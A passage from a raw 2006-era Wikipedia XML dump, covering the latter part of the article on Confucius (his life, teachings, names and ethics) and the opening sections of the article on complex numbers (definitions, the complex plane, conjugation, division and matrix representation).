|colspan=2 align=left style=&quot;border-top:3px solid&quot;|&lt;small&gt;&lt;sup&gt;'''1'''&lt;/sup&gt;This Chinese word (子), the ancestral name of&lt;br&gt;Confucius, should not be confused with the word&lt;br&gt;&quot;master&quot; as used in the style of Confucius &quot;Master&lt;br&gt;Kong&quot; (孔子). These are two different words written &lt;br&gt;with the same character in Chinese. Zi was the&lt;br&gt;surname of the ruling family of [[Shang]].
|-
|align=right | 
|-
|colspan=2 align=left |&lt;small&gt;&lt;sup&gt;'''2'''&lt;/sup&gt; Posthumous name since [[1530]]. Between [[1307]]&lt;br&gt;and [[1530]], his posthumous name was: &quot;The Lord&lt;br&gt;of Culture Ultimate Sage and Great&lt;br&gt;Accomplisher&quot; (&lt;/small&gt;&amp;#22823;&amp;#25104;&amp;#33267;&amp;#32854;&amp;#25991;&amp;#23459;&amp;#29579;&lt;small&gt;) which is still&lt;br&gt;the name that can be seen on his tomb.
|-
|align=right | 
|-
|colspan=2 align=left |&lt;small&gt;&lt;sup&gt;'''3'''&lt;/sup&gt; [[Romanization|Romanized]] as &quot;Confucius&quot;.
|}
'''Confucius''' ([[Chinese language|Chinese]] '''Kong Fuzi''', literally &quot;Master Kong&quot;, traditionally [[September 28]], [[551 BCE]]&amp;ndash;[[479 BCE]]) was a famous thinker and social [[philosopher]] of [[China]], whose teachings have deeply influenced [[East Asia]]. Living in the [[Spring and Autumn period]], he was convinced of his ability to restore the world's order, but failed.

After much travelling around China to promote his ideas among rulers, he eventually became involved in teaching [[disciples of Confucius|disciples]]. His philosophy emphasized personal and governmental [[morality]], correctness of [[social relation]]ships, [[justice]] and [[sincerity]]. These values gained prominence in China over other doctrines such as [[Legalism (philosophy)|Legalism]] or [[Taoism]] during the [[Han dynasty]]. Used since then as the imperial orthodoxy, Confucius' thoughts have been developed into a vast and complete philosophical system known in the West as [[Confucianism]]. They were introduced to Europe by the [[Jesuit]] [[Matteo Ricci]], who was the first to [[Latinization|Latinise]] the name as &quot;Confucius&quot;. 

The ''[[Analects of Confucius|Analects]]'' is a short collection of his discussions with disciples, compiled posthumously. It contains an overview of his teachings.

== Personal life and family ==
:At 15, I set my mind upon learning; 
:At 30, I took my stand; 
:At 40, I no longer had doubts; 
:At 50, I knew the will of the heavens; 
:At 60, my ear was attuned; 
:At 70, I follow all the desires of my heart without breaking any rule.
:(Translation by James Legge)

According to tradition, Confucius was born in [[551 BCE]] (during the [[Spring and Autumn Period]], at the beginning of the [[Hundred Schools of Thought]] philosophical movement) in the city of [[Qufu]] in the Chinese [[Lu (state)|State of Lu]] (now part of present-day [[Shandong Province]] and culturally and geographically close to the royal mansion of [[Zhou]]). He was born into a once noble family who had recently fled from the [[Song (state)|State of Song]]. 

The [[Records of the Grand Historian]] (史記) compiled some 400 years later indicate that Confucius was conceived out of wedlock (野合). His father was 70 and his mother only 15 at his birth. His father died when he was three and he was brought up in poverty by his mother. His social ascendancy links him to the growing class of ''Shì'' (&amp;#22763;), between old [[nobility]] and common people, which later became the prominent class of [[literati]] because of the cultural and intellectual skills they shared. 

As a child, he is said to have enjoyed putting ritual vases on the sacrifice table. As a young man he was a minor administrative manager in the State of Lu and rose to the position of Justice Minister. After several years, disapproving of the politics of his Prince, he resigned. At about age 50, seeing no way to improve the government, he gave up his political career in Lu, and began a 12-year journey around China, seeking the &quot;Way&quot; and trying unsuccessfully to convince many different rulers of his political beliefs and to push them into reality. When he was about 60, he returned home and spent the last years of his life teaching an increasing number of disciples, trying to share his experiences with them and transmit the old wisdom via a set of books called the [[Five Classics]].

When Confucius held the post of the highest officer in Lu, he issued an arrest and execution order for Shao-Zheng-Mao (少正卯), a respected person in Lu. The order gave five rather vague reasons: 1. Having a recalcitrant mind, 2. Alienating himself and refusing changes, 3. Enjoying specious arguments, 4. Broadcasting others' faults, 5. Supporting and profiting from others' bad deeds. (１.心逆而险 ２.行辟而坚 ３.言伪而辩 ４. 记丑而博 ５.顺非而泽). (This accusation of judicial murder has been denied by Confucius' admirers.)

The King of Lu was unhappy at this abuse of power, and during an annual ritual he refused to distribute the sacred meat to Confucius, a strong indication of disapproval. In fact, Confucius was forced into exile from Lu after these accusations. During his exile (called “touring the kingdoms” 周游列国 in Confucianism), Confucius was not widely welcomed; some kingdoms even forbade him to cross their borders.

Confucius' descendants were repeatedly identified and honored by successive imperial governments. They were honored with the rank of a [[marquis]] thirty-five times since [[Han Gaozu|Gaozu]] of the Han Dynasty, and they were promoted to the rank of [[duke]] forty-two times from the [[Tang Dynasty]] to [[1935]]. One of the most common titles is ''Duke Yansheng'' (&amp;#34893;&amp;#32854;&amp;#20844; Y&amp;#462;nshèng g&amp;#333;ng), which means &quot;overflowing with sainthood.&quot; 

Today, there are thousands of reputed descendants of Confucius. The main lineage fled from the Kong ancestral home in [[Qufu]] to [[Taiwan]] during the [[Chinese Civil War]]. The latest head of the household is [[K'ung Te-ch'eng]] who is of the 77th generation and a professor at [[National Taiwan University]]. The [[Republic of China]] appointed him President of the [[Examination Yuan]]. Kung married [[Sun Qifang]], the great-granddaughter of the [[Qing dynasty]] scholar-official and first president of [[Beijing University]] [[Sun Jianai]], whose [[Shouxian]], [[Anhui]], family created one of the first business combines in modern-day China that included the largest [[flour mill]] in [[Asia]], the [[Fou Foong Flour Company]] &amp;#31119;&amp;#35920;&amp;#40629;&amp;#31881;&amp;#24288;. The Kongs are related by marriage to a number of prominent Confucian families, among them that of the [[Song]] dynasty prime minister and martyr [[Wen Tianxiang]].

==Teachings==
In the [[Analects]], where one can find the most intimate descriptions of him, Confucius (孔夫子) presents himself as a &quot;transmitter who invented nothing&quot; and his greatest emphasis may be on ''study'', the Chinese character that opens the book. 

In this respect, he is seen by Chinese people as the Greatest Master. Far from trying to build a systematic theory of [[life]] and [[society]], he wanted his disciples to think deeply for themselves and relentlessly study the outside world, mostly through the old [[scriptures]] relating past political events (like the ''Annals'') or past feelings of common people (like the [[Book of Odes]]). 

In these times of division, chaos and endless wars between feudal states, he wanted to restore the [[Mandate of Heaven]] that could unify the &quot;world&quot; (i.e., China) and bestow peace and prosperity on the people. Therefore, Confucius is often considered a great proponent of [[conservatism]], but a closer look at what he proposes often shows that he used (and maybe twisted) past institutions and rites to push a new political agenda of his own: for example, he wanted rulers to be chosen on their merits, not their parentage. He wanted rulers who were devoted to their people. And he wanted the ruler to reach [[perfection]] himself, thus spreading his own virtues to the people instead of imposing proper behavior with laws and rules.  

One of the deepest teachings of Confucius, and one of the hardest to understand from a Western point of view, may have been the superiority of exemplification over explicit rules of [[behavior]]. His [[ethics]] may be considered one of the greatest [[virtue ethics]]. This kind of &quot;indirect&quot; way to achieve a goal is used widely in his teachings, where [[allusion]]s, [[innuendo]] and even [[tautology]] are common ways of expressing himself. That is why his teachings need to be examined and put into context for access by Westerners. A good example is found in this famous anecdote:

::When the stables were burnt down, on returning from court, Confucius said, &quot;Was anyone hurt?&quot; He did not ask about the horses.
:::::::''Analects'' X.11, tr. A. Waley

What seems a matter of tiny importance has been long commented on and shows another of the Confucian specificities that have to be underlined. When one knows that in his time horses were perhaps 10 times more expensive than stablemen, one can understand that, by not asking about the horses, Confucius demonstrated his greatest priority: human beings. Thus, when one sees a little bit of the greater picture, according to many ancient or recent Eastern and Western commentators, Confucius' teaching can be considered as noteworthy Chinese variant of [[humanism]].

Confucius also heavily emphasized what he calls &quot;rites and music,&quot; referring to these social conventions as two poles to balance [[social order|order]] and [[harmony]]. While rites, in short, show off social hierarchies, music unifies hearts in shared enjoyment. He added that rites are not only the way to arrange sacrificial tools, and music is not only the sound of stick on bell. Both are mutual communication between someone's humanity and his social context; both feed social relationships, like the five prototypes: between father and son, husband and wife, prince and subject, elder and youngster, and between friends. Duties are always balanced and if a subject must obey his ruler, he also has to tell him when he is wrong.

Confucius' teachings were later turned into a ''corps de doctrine'' by his numerous disciples and followers. In the centuries after his death, [[Mencius]] and [[Xun Zi]] both wrote a prominent book on it, and in time a philosophy was elaborated, which is known in the West as [[Confucianism]].

==Names==
[[Image:Confucius - Project Gutenberg eText 15250.jpg|thumb|Confucius, illustrated in ''Myths &amp; Legends of China'', [[1922]], by E.T.C. Werner]]

* The [[Society of Jesus|Jesuits]], while translating Chinese books into Western languages, translated &amp;#23380;&amp;#22827;&amp;#23376; as ''Confucius''. This [[Latin alphabet|Latin]]ized form has since been commonly used in Western countries.
* In systematic [[Romanization]]s: 
** K&amp;#466;ng F&amp;#363;z&amp;#464; (or K&amp;#466;ng f&amp;#363; z&amp;#464;) in [[pinyin]].
** ''K'ung fu-tze'' in [[Wade-Giles]] (or, less accurately, Kung fu-tze).  
*** F&amp;#363;z&amp;#464; means teacher. Since it was disrespectful to call the teacher by name according to Chinese culture, he is known as just &quot;Master Kong&quot;, or Confucius, even in modern days.
*** The character 'fu' is optional, so he is commonly also known as ''Kong Zi''.

* His actual name was &amp;#23380;&amp;#19992;, K&amp;#466;ng Qi&amp;#363;. ''K&amp;#466;ng'' is a common [[Chinese family name|family name in China]].
* His [[Chinese courtesy name|courtesy name]] was &amp;#20210;&amp;#23612;, ''Zhòng Ní''.
* In [[1]] AC (first year of the [[Yuanshi]] period of the [[Han Dynasty]]), he was given his first [[posthumous name]]: &amp;#35090;&amp;#25104;&amp;#23459;&amp;#23612;&amp;#20844;, Lord B&amp;#257;ochéngx&amp;#363;an, which means &quot;Laudably Declarable Lord Ni.&quot; 
* His most popular posthumous names are
** &amp;#33267;&amp;#32854;&amp;#20808;&amp;#24107;, Zhìshèngxi&amp;#257;nsh&amp;#299;,  meaning &quot;The Former Teacher who Arrived at Sagehood&quot; (comes from [[1530]], the ninth year of the [[Jianing]] period of the [[Ming Dynasty]]);
** &amp;#33267;&amp;#32854;, ''Zhìshèng'', &quot;the Greatest Sage&quot;;
** &amp;#20808;&amp;#24107;, Xi&amp;#257;nsh&amp;#299;, &quot;the First Teacher&quot;.
* He is also commonly known as &amp;#33836;&amp;#19990;&amp;#24107;&amp;#34920;, Wànshìsh&amp;#299;bi&amp;#462;o, &quot;the Model Teacher of a Myriad Ages&quot; in [[Taiwan]].

==Philosophy==
:''Main article: [[Confucianism]]''

Although Confucianism is often followed in a religious manner by the Chinese, argument continues over whether to refer to it as a religion because it makes little reference to [[theological]] or [[spirituality|spiritual]] matters (god(s), the [[afterlife]], etc.).

Confucius's principles gained wide acceptance primarily because of their basis in common Chinese opinion. He championed strong familial loyalty, [[ancestor worship]], and respect of elders by their children and of husbands by their wives, and used the family as a basis for an ideal government. He expressed the well-known principle, &quot;Do not to others what you do not want done to yourself&quot; (the [[Golden Rule]]). He also looked nostalgically upon earlier days, and urged the Chinese, particularly the politicians, to model themselves on earlier examples.

===Ethics===
The Confucian theory of ethics is based on three important concepts:

While Confucius grew up, ''l&amp;#464;'' (&amp;#31036; [&amp;#31150;]) referred to three aspects of life, that of sacrificing to the gods, social and political institutions, and daily behavior. It was believed that ''l&amp;#464;'' originated from the heavens. Confucius redefined ''l&amp;#464;'', arguing that it flowed not from heaven but from humanity. He redefined ''l&amp;#464;'' to refer to all actions committed by a person to build the ideal society. ''L&amp;#464;'' to Confucius became every action by a person aiming at meeting the person's surface desires. These can be either good or bad. Generally attempts to obtain short term pleasure are bad while those that in the long term try to make your life better are generally good.  It is all about doing the proper thing at the proper time.

To Confucius, ''yì'' (&amp;#20041; [&amp;#32681;]) was the origin of ''l&amp;#464;''. ''Yì'' can best be translated as [[righteousness]]. While doing things because of ''l&amp;#464;'', your own [[self-interest]], was not necessarily bad, you would be a better, more righteousful person if you base your life upon following ''yì''. This means that rather than pursuing your own selfish interests you should do what is right and what is moral.  It is doing the right thing for the right reason. ''Yì'' is based upon [[reciprocity]]. An example of living by ''yì'' is how you must mourn your father and mother for three years after their death. Since they took care of you for the first three years of your life you must reciprocate by living in mourning for three years.

Just as ''l&amp;#464;'' flows out of ''yì'', so ''yì'' flows out of ''rén'' (&amp;#20161;). ''Ren'' can best be translated as human heartedness. His moral system was based upon [[empathy]] and understanding others, rather than divinely ordained rules. To live by ''rén'' was even better than living by the rules of ''yì''. To live by ''rén'' one used another Confucian version of the Golden Rule: he argued that you must always treat your inferiors just as you would want your superiors to treat you. [[Virtue]] under Confucius is based upon harmony with others, very different from the [[Aristotelian]] view of virtue being personal excellence.

He applied an early version of the Golden Rule: &amp;#8220;What one does not wish for oneself, one ought not to do to any one else; what one recognizes as desirable for oneself, one ought to be willing to grant to others.&amp;#8221; (''Confucius and Confucianism, Richard Wilhelm'')

===Politics===
Confucius' political thought is based upon his ethical thought. He argues that the best government is one that rules through &quot;rites&quot; and people's natural morality, rather than using bribery and force. He explained this in one of the most important analects: 1. &quot;If the people be led by laws, and uniformity sought to be given them by punishments, they will try to avoid the punishment, but have no sense of shame. If they be led by virtue, and uniformity sought to be given them by the rules of propriety, they will have the sense of shame, and moreover will become good.&quot; (Translated by [[James Legge]]) This &quot;sense of shame&quot; is somewhat an internalization of [[duty]], where the punishment precedes the evil action, instead of following it in the form of laws as in [[Legalism (philosophy)|Legalism]].

While he supported the idea of the all-powerful Emperor, probably because of the chaotic state of China at his time, his philosophies contained a number of elements to limit the power of the rulers. He argued for according language with [[truth]]&amp;mdash;thus [[honesty]] was of the most paramount importance. Even in [[facial expression]], one sought always to achieve this. In discussing the relationship between a son and his father (or a subject and his king), he underlined the need to give due respect to superiors; this demanded that the inferior must give advice to his superior if the superior was considered to be taking the wrong course of action in a given situation.

This was built upon by his disciple [[Mencius]] to argue that if the king was not acting like a king, he would lose the [[Mandate of Heaven]] and be overthrown. Therefore, [[tyrannicide]] is justified because a [[tyrant]] is more a thief than a king (but attempted tyrannicide is not).

[[Image:PICT2367.JPG|thumb|Popular image of Confucius as an object of veneration, [[Thian Hock Keng]] temple, [[Singapore]].]]

== Disciples ==
''See main article : [[Disciples of Confucius]]''

Confucius' philosophical school was continued by his direct disciples and by his only grandson, [[Zisi]]. [[Mencius]] and [[Xun Zi]] are his two great followers, one on each &quot;side&quot; of his philosophy, perhaps simply described as [[optimism]] and [[pessimism]]. They built upon and expanded his ethico-political system.

==Home town==
Soon after Confucius' death, [[Qufu]], his home town, became a place of devotion and remembrance. It is still a major destination for cultural tourism, and many Chinese people visit his grave and the surrounding temples. In China, there are many temples where one can find representations of [[Buddha]], [[Lao Zi]] and Confucius together. There are also many temples dedicated to him which have been used for Confucianist ceremonies.
&lt;!-- REMOVED THIS UNTIL WE HAVE MORE ON THIS TOPIC 
The following is a list of temples dedicated to Confucius:
*[[Mainland China]]
**[[Yunnan]] [[provinces of China|province]]
***[[Kunming]] (1)
***[[Jianshui]] (1)
*[[Taiwan]] (20+)
**[[Taipei County]] (5)
**[[Pescadores]] (1)
*[[Japan]]
**Yushima Seid&amp;#333;, [[Bunkyo, Tokyo|Bunkyo]] [[23 special wards|Ward]], [[Tokyo]]
--&gt;

== See also ==
* [[Neo-Confucianism]]
* [[List of publications in philosophy#Chinese philosophy|Important publications in Chinese philosophy]]
* [[Temple of Confucius]]

==Further reading==
* Confucius.  (1997). ''Lun yu'', (In English ''The Analects of Confucius'').  Translation and notes by Simon Leys. New York : W.W. Norton.  ISBN 0393040194
* Confucius. (2001). &quot;The Analects&quot;.  Translated by E. Slingerland. In P. Ivanhoe, &amp; B. Norden, ''Readings in Classical Chinese Philosophy''. New York: Seven Bridges Press. (Original work published c. 551-479 bc).  ISBN 1889119091.
* Csikszentmihalyi, M. (2005). &quot;Confucianism: An Overview&quot;. In ''Encyclopedia of Religion'' (Vol. C, pp. 1890-1905). Detroit: MacMillan Reference USA.  
* [[Herrlee Glessner Creel]], ''Chinese Thought, from Confucius to Mao Zedong'', ISBN 0226120309
* Mengzi (2001). ''Mengzi'' Translation by B. Van Norden. In P. Ivanhoe &amp; B. Norden, ''Readings in Classical Chinese Philosophy''. New York: Seven Bridges Press.  ISBN 1889119091.
* Wu, J. (1995a). &quot;Confucius&quot;. In I. McGreal (Ed.), ''Great Thinkers of the Eastern World: The Major Thinkers of the Philosophical and Religious Classics of China, India, Japan, Korea and the world of Islam'' (pp. 3-8). New York: HarperCollins.  ISBN 0062700855
* Wu. J. (1995b) &quot;Mencius&quot;. In I. McGreal (Ed.), ''Great Thinkers of the Eastern World: The Major Thinkers of the Philosophical and Religious Classics of China, India, Japan, Korea and the world of Islam'' (pp. 27-30). New York: HarperCollins.  ISBN 0062700855

==External links==
{{Wikisource author}}
{{wikiquote}}
{{commonscat|Confucius}}
* [http://www.confucius.org/ Multilingual web site on Confucius and the Analects] 
* [http://plato.stanford.edu/entries/confucius/ Stanford Encyclopedia of Philosophy on Confucius] 
* {{gutenberg author| id=Confucius | name=Confucius}}
* [http://digital.library.upenn.edu/webbin/gutbook/lookup?num=4094 Confucian Analects] (Project Gutenberg release of James Legge's Translation)
* [http://afpc.asso.fr/wengu/wg/wengu.php?l=Lunyu Analects] in Chinese and translations by [[James Legge]] (en), [[D.C. Lau]] (en) and [[Séraphin Couvreur]] (fr).
* [http://www.gdjh.tcc.edu.tw/wcjswebcai/87cai/01/t2-4.htm &amp;#23380;&amp;#23376;&amp;#19990;&amp;#31995; (Confucius' Genealogy)] (in [[Traditional Chinese]]): a table shows the immediate ancestors and direct descendants of Confucius
* [http://www.poetseers.org/the_poetseers/confucius/ Life of Confucius and selections from The Analects]
* [http://www.kong.org.cn Kong Family] (in [[Simplified Chinese]]) 
** [http://www.kong.org.cn/image/jiapub.jpg Genealogy] (very slow download)

[[Category:551 BC births]]
[[Category:479 BC deaths]]
[[Category:Confucianism| ]]
[[Category:Chinese philosophers]]
[[Category:Secularism]]
[[Category:Classical humanists]]

{{Link FA|zh}}

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[[ja:孔子]]
[[pl:Konfucjusz]]
[[pt:Confúcio]]
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[[zh:孔子]]</text>
    </revision>
  </page>
  <page>
    <title>Complex number</title>
    <id>5826</id>
    <revision>
      <id>42123648</id>
      <timestamp>2006-03-03T23:51:25Z</timestamp>
      <contributor>
        <ip>71.111.227.8</ip>
      </contributor>
      <text xml:space="preserve">{{wikibookspar|Algebra|Complex numbers}}

In [[mathematics]], a '''complex number''' is an expression of the form ''a'' + ''bi'', where ''a'' and ''b'' are [[real number]]s, and ''i'' represents the imaginary number, ''i''&lt;sup&gt;2&lt;/sup&gt; = &amp;minus;1. In other words, ''i'' is the [[square root]] of &amp;minus;1.  The real number ''a'' is called the ''real part'' of the complex number, and the real number ''b'' is the ''[[imaginary number|imaginary]] part''.  When the imaginary part ''b'' is 0, then the complex number is identified with the real number ''a''.  A complex number then consists of a pair of real numbers. 

For example, 3 + 2''i''  is a ''complex number'', with real part 3 and imaginary part 2. 

Complex numbers can be added, subtracted, multiplied, and divided in a similar way to real numbers; but they have additional elegant properties. For example, every [[polynomial]] algebraic equation has a complex number as a solution, not just some, as in the real numbers. 

In some fields (in particular, [[electrical engineering]], where ''i'' is a symbol for [[Electric current|current]]), complex numbers are written as ''a'' + ''bj''.

==Definitions== 

===Notation and operations===

The [[set]] of all complex numbers is usually denoted by '''C''', or in [[blackboard bold]] by &lt;math&gt;\mathbb{C}&lt;/math&gt;. It includes the real numbers because every real number can be regarded as complex: ''a'' = ''a'' + 0''i''.

Complex numbers are added, subtracted, and multiplied by formally applying the [[associative]], [[commutative]] and [[distributive]] laws of algebra, together with the equation ''i'' &lt;sup&gt;2&lt;/sup&gt;&amp;nbsp;=&amp;nbsp;&amp;minus;1:  

:(''a'' + ''bi'') + (''c'' + ''di'') = (''a''+''c'') + (''b''+''d'')''i''
:(''a'' + ''bi'') &amp;minus; (''c'' + ''di'') = (''a''&amp;minus;''c'') + (''b''&amp;minus;''d'')''i''
:(''a'' + ''bi'')(''c'' + ''di'') = ''ac'' + ''bci'' + ''adi'' + ''bd i'' &lt;sup&gt;2&lt;/sup&gt; = (''ac''&amp;minus;''bd'') + (''bc''+''ad'')''i''

Division of complex numbers can also be defined (see below). Thus the set of complex numbers forms a [[field (mathematics)|field]] which, in contrast to the real numbers, is [[algebraically closed]].

In mathematics, the [[adjective]] &quot;complex&quot; means that the field of complex numbers is the underlying [[number field]] considered, for example [[complex analysis]], [[matrix (mathematics)|complex matrix]], [[polynomial|complex polynomial]] and [[Lie algebra|complex Lie algebra]].

=== The complex number field ===

Formally, the complex numbers can be defined as [[ordered pair]]s of real numbers (''a'', ''b'') together with the operations:
* &lt;math&gt; ( a , b ) + ( c , d ) = ( a + c , b + d ) \,&lt;/math&gt; 

* &lt;math&gt; ( a , b ) \cdot ( c , d ) = ( ac - bd , bc + ad ). \,&lt;/math&gt; 

So defined, the complex numbers form a [[field (mathematics)|field]], the complex number field, denoted by '''C'''.

Since a complex number ''a'' + ''bi'' is uniquely specified by an ordered pair (''a'', ''b'') of real numbers, the complex numbers are in [[one-to-one]] correspondence with points on a plane, called the [[complex plane]].

We identify the real number ''a'' with the complex number (''a'', 0), and in this way the field of real numbers '''R''' becomes a subfield of '''C'''.  The imaginary unit ''i'' is the complex number (0, 1).

In '''C''', we have:
* additive identity (&quot;zero&quot;): (0, 0)
* multiplicative identity (&quot;one&quot;): (1, 0)
* additive inverse of (''a'',''b''): (&amp;minus;''a'', &amp;minus;''b'')
* [[multiplicative inverse]] (reciprocal) of non-zero (''a'', ''b''): &lt;math&gt;\left({a\over a^2+b^2},{-b\over a^2+b^2}\right).&lt;/math&gt;

'''C''' can also be defined as the [[Closure (topology)|topological closure]] of the [[algebraic number]]s or as the [[algebraic closure]] of '''R''', both of which are described below.

=== The complex plane ===
&lt;div style=&quot;float:right; margin-left:3px; margin-right:3px&quot; title=&quot;Graphic Representation&quot;&gt;
[[image:complex.png]]
&lt;/div&gt;

A complex number can be viewed as a point or a [[vector (spatial)|position vector]] on a two-dimensional [[Cartesian coordinate system]] called the '''complex plane''' or '''Argand diagram''' (named after [[Jean-Robert Argand]]).

The Cartesian coordinates of the complex number are the real part ''x'' and the imaginary part ''y'', while the [[Coordinates_%28mathematics%29#Circular_coordinates|circular coordinates]] are ''r'' = |''z''|, called the ''[[Absolute_value#Complex_numbers|absolute value or modulus]]'', and &amp;phi; = arg(''z''), called the ''complex argument'' of ''z'' (mod-arg form). Together with [[Euler's formula]] we have
:&lt;math&gt; z = x + iy = r (\cos \phi + i\sin \phi ) = r e^{i \phi}. \,&lt;/math&gt;

Additionally the notation ''r'' cis &amp;phi; is sometimes used.

Note that the complex argument is unique [[modulo]] 2&amp;pi;, that is, if any two values of the complex argument exactly differ by an [[integer]] multiple of  2&amp;pi;, they are considered equivalent.

By simple [[trigonometric identity|trigonometric identities]],  
we see that
:&lt;math&gt;r_1 e^{i\phi_1} \cdot r_2 e^{i\phi_2} 
= r_1 r_2 e^{i(\phi_1 + \phi_2)} \,&lt;/math&gt;
and that
:&lt;math&gt;\frac{r_1 e^{i\phi_1}}
{r_2 e^{i\phi_2}}
= \frac{r_1}{r_2} e^{i (\phi_1 - \phi_2)}. \,&lt;/math&gt;

Now the addition of two complex numbers is just the [[vector space|vector addition]] of two vectors, and the multiplication with a fixed complex number can be seen as a simultaneous rotation and stretching. 

Multiplication with i corresponds to a counter clockwise rotation by 90 [[degree (angle)|degrees]] (&lt;math&gt;\pi/2&lt;/math&gt; [[radian]]s). The geometric content of the equation ''i''&lt;sup&gt;2&lt;/sup&gt; = &amp;minus;1 is that a sequence of two 90 degree rotations results in a 180 degree (&lt;math&gt;\pi&lt;/math&gt; radians) rotation. Even the fact (&amp;minus;1) · (&amp;minus;1) = +1 from arithmetic  can be understood geometrically as the combination of two 180 degree turns.

===Absolute value, conjugation and distance===

The ''absolute value'' (or ''modulus'' or ''magnitude'') of a complex number ''z''  = ''r e''&lt;sup&gt;''i''&amp;phi;&lt;/sup&gt; is defined as |''z''| = ''r''. Algebraically, if ''z'' = ''a'' + ''ib'', then &lt;math&gt; | z | = \sqrt{a^2+b^2}.&lt;/math&gt;&lt;!--keep sentence-terminator within math element to make it align better with the formula--&gt;

One can check readily that the absolute value has three important properties:

:&lt;math&gt; | z | = 0 \,&lt;/math&gt; [[iff]] &lt;math&gt; z = 0 \,&lt;/math&gt;

:&lt;math&gt; | z + w | \leq | z | + | w | \,&lt;/math&gt;

:&lt;math&gt; | z w | = | z | \; | w | \,&lt;/math&gt;

for all complex numbers ''z'' and ''w''.   It then follows, for example, that &lt;math&gt; | 1 | = 1 &lt;/math&gt; and &lt;math&gt;|z/w|=|z|/|w|&lt;/math&gt;.  By defining the distance function ''d''(''z'', ''w'') = |''z'' &amp;minus; ''w''| we turn the complex numbers into a [[metric space]] and we can therefore talk about [[limit (mathematics)|limit]]s and [[continuous function|continuity]]. The addition, subtraction, multiplication and division of complex numbers are then continuous operations. Unless anything else is said, this is always the metric being used on the complex numbers.

The [[complex conjugate]] of the complex number ''z'' = ''a'' + ''ib'' is defined to be ''a'' - ''ib'', written as &lt;math&gt;\bar{z}&lt;/math&gt; or &lt;math&gt;z^*\,&lt;/math&gt;. As seen in the figure, &lt;math&gt;\bar{z}&lt;/math&gt; is the &quot;reflection&quot; of ''z'' about the real axis. The following can be checked:
: &lt;math&gt;\overline{z+w} = \bar{z} + \bar{w}&lt;/math&gt;

: &lt;math&gt;\overline{zw} = \bar{z}\bar{w}&lt;/math&gt;

: &lt;math&gt;\overline{(z/w)} = \bar{z}/\bar{w}&lt;/math&gt;

: &lt;math&gt;\bar{\bar{z}}=z&lt;/math&gt;

: &lt;math&gt;\bar{z}=z&lt;/math&gt; &amp;nbsp; [[if and only if]] ''z'' is real

: &lt;math&gt;|z|=|\bar{z}|&lt;/math&gt;

: &lt;math&gt;|z|^2 = z\bar{z}&lt;/math&gt;

: &lt;math&gt;z^{-1} = \bar{z}|z|^{-2}&lt;/math&gt; &amp;nbsp; if ''z'' is non-zero.

The latter formula is the method of choice to compute the inverse of a complex number if it is given in rectangular coordinates.

That conjugation commutes with all the algebraic operations (and many functions; ''e.g.'' &lt;math&gt;\sin\bar z=\overline{\sin z}&lt;/math&gt;) is rooted in the ambiguity in choice of ''i'' (&amp;minus;1 has two square roots); note, however, that conjugation is not differentiable (see [[holomorphic]]).

===Complex number division===
Given a complex number (''a'' + ''bi'') which is to be divided by another complex number (''c'' + ''di'') whose magnitude is non-zero, there are two ways to do this; in either case it is the same as multiplying the first by the multiplicative inverse of the second.  The first way has already been implied: to convert both complex numbers into exponential form, from which their quotient is easy to derive.  The second way is to express the division as a fraction, then to multiply both numerator and denominator by the complex conjugate of the denominator.  This causes the denominator to simplify into a real number:

:&lt;math&gt; {a + bi \over c + di} = {(a + bi) (c - di) \over (c + di) (c - di)} = {(ac + bd) + (bc - ad) i \over c^2 + d^2} &lt;/math&gt;

:::&lt;math&gt; = \left({ac + bd \over c^2 + d^2}\right) + i\left( {bc - ad \over c^2 + d^2} \right). &lt;/math&gt;

===Matrix representation of complex numbers===

While usually not useful, alternative representations of complex fields can give some insight into their nature. One particularly elegant representation interprets every complex number as 2×2 [[matrix (mathematics)|matrix]] with [[real number|real]] entries which stretches and rotates the points of the plane. Every such matrix has the form
:&lt;math&gt;
\begin{pmatrix}
  a &amp;   -b  \\
  b &amp; \;\; a  
\end{pmatrix}
&lt;/math&gt;

with real numbers ''a'' and ''b''. The sum and product of two such matrices is again of this form. Every non-zero such matrix is invertible, and its inverse is again of this form. Therefore, the matrices of this form are a field. In fact, this is exactly the field of complex numbers. Every such matrix can be written as
:&lt;math&gt;
\begin{pmatrix}
  a &amp;     -b  \\
  b &amp; \;\; a  
\end{pmatrix}
=
a \begin{pmatrix}
  1 &amp; \;\; 0  \\
  0 &amp; \;\; 1 
\end{pmatrix}
+
b \begin{pmatrix}
  0 &amp;     -1  \\
  1 &amp; \;\; 0 
\end{pmatrix}
&lt;/math&gt;
which suggests that we should identify the real number 1 with the matrix
:&lt;math&gt;
\begin{pmatrix}
  1 &amp; \;\; 0  \\
  0 &amp; \;\; 1 
\end{pmatrix}
&lt;/math&gt;
and the imaginary unit ''i'' with
:&lt;math&gt;
\begin{pmatrix}
  0 &amp;     -1  \\
  1 &amp; \;\; 0  
\end{pmatrix}
&lt;/math&gt;

a counter-clockwise rotation by 90 degrees. Note that the square of this latter matrix is indeed equal to &amp;minus;1.

The absolute value of a complex number expressed as a matrix is equal to the [[square root]] of the [[determinant]] of that matrix.  If the matrix is viewed as a transformation of a plane, then the transformation rotates points through an angle equal to the argument of the complex number and scales by a factor equal to the complex number's absolute value. The conjugate of the complex number ''z'' corresponds to the transformation which rotates through the same angle as ''z'' but in the opposite direction, and scales in the same manner as ''z''; this can be described by the [[transpose]] of the matrix corresponding to ''z''.

If the matrix elements are themselves complex numbers, then the resulting algebra is that of the [[quaternions]]. In this way, the matrix representation can be seen as a way of expressing the [[Cayley-Dickson construction]] of algebras.

== Geometric interpretation of the operations on complex numbers==

[[Image:Complex numbers addition.png|right|thumb|The point ''X'' is the sum of ''A'' and ''B''.]]
Choose a point in the plane which will be the origin, &lt;math&gt;0&lt;/math&gt;. Given two points ''A'' and ''B'' in the plane, their ''sum'' is the point ''X'' in the plane such that the [[triangle]]s with vertices 0, ''A'', ''B'' and ''X'', ''B'', ''A'' are [[similarity_(mathematics)#Similar_triangles|similar]].

[[Image:Complex numbers multiplication.png|right|thumb|The point ''X'' is the product of ''A'' and ''B''.]]
Choose in addition a point in the plane different from zero, which will be the unity, 1. Given two points ''A'' and ''B'' in the plane, their ''product'' is the point ''X'' in the plane such that the   triangles with vertices 0, 1, ''A'', and ''0'', ''B'', ''X'' are similar. 

[[Image:Complex numbers conjugation.png|right|thumb|The point ''X'' is the complex conjugate of ''A''.]]
Given a point ''A'' in the plane, its ''complex conjugate'' is a point ''X'' in the plane such that the triangles with vertices 0, 1, ''A'' and 0, 1, ''X'' are [[mirror image]] of each other.

== Some properties ==

===Real vector space===

'''C''' is a two-dimensional real [[vector space]].
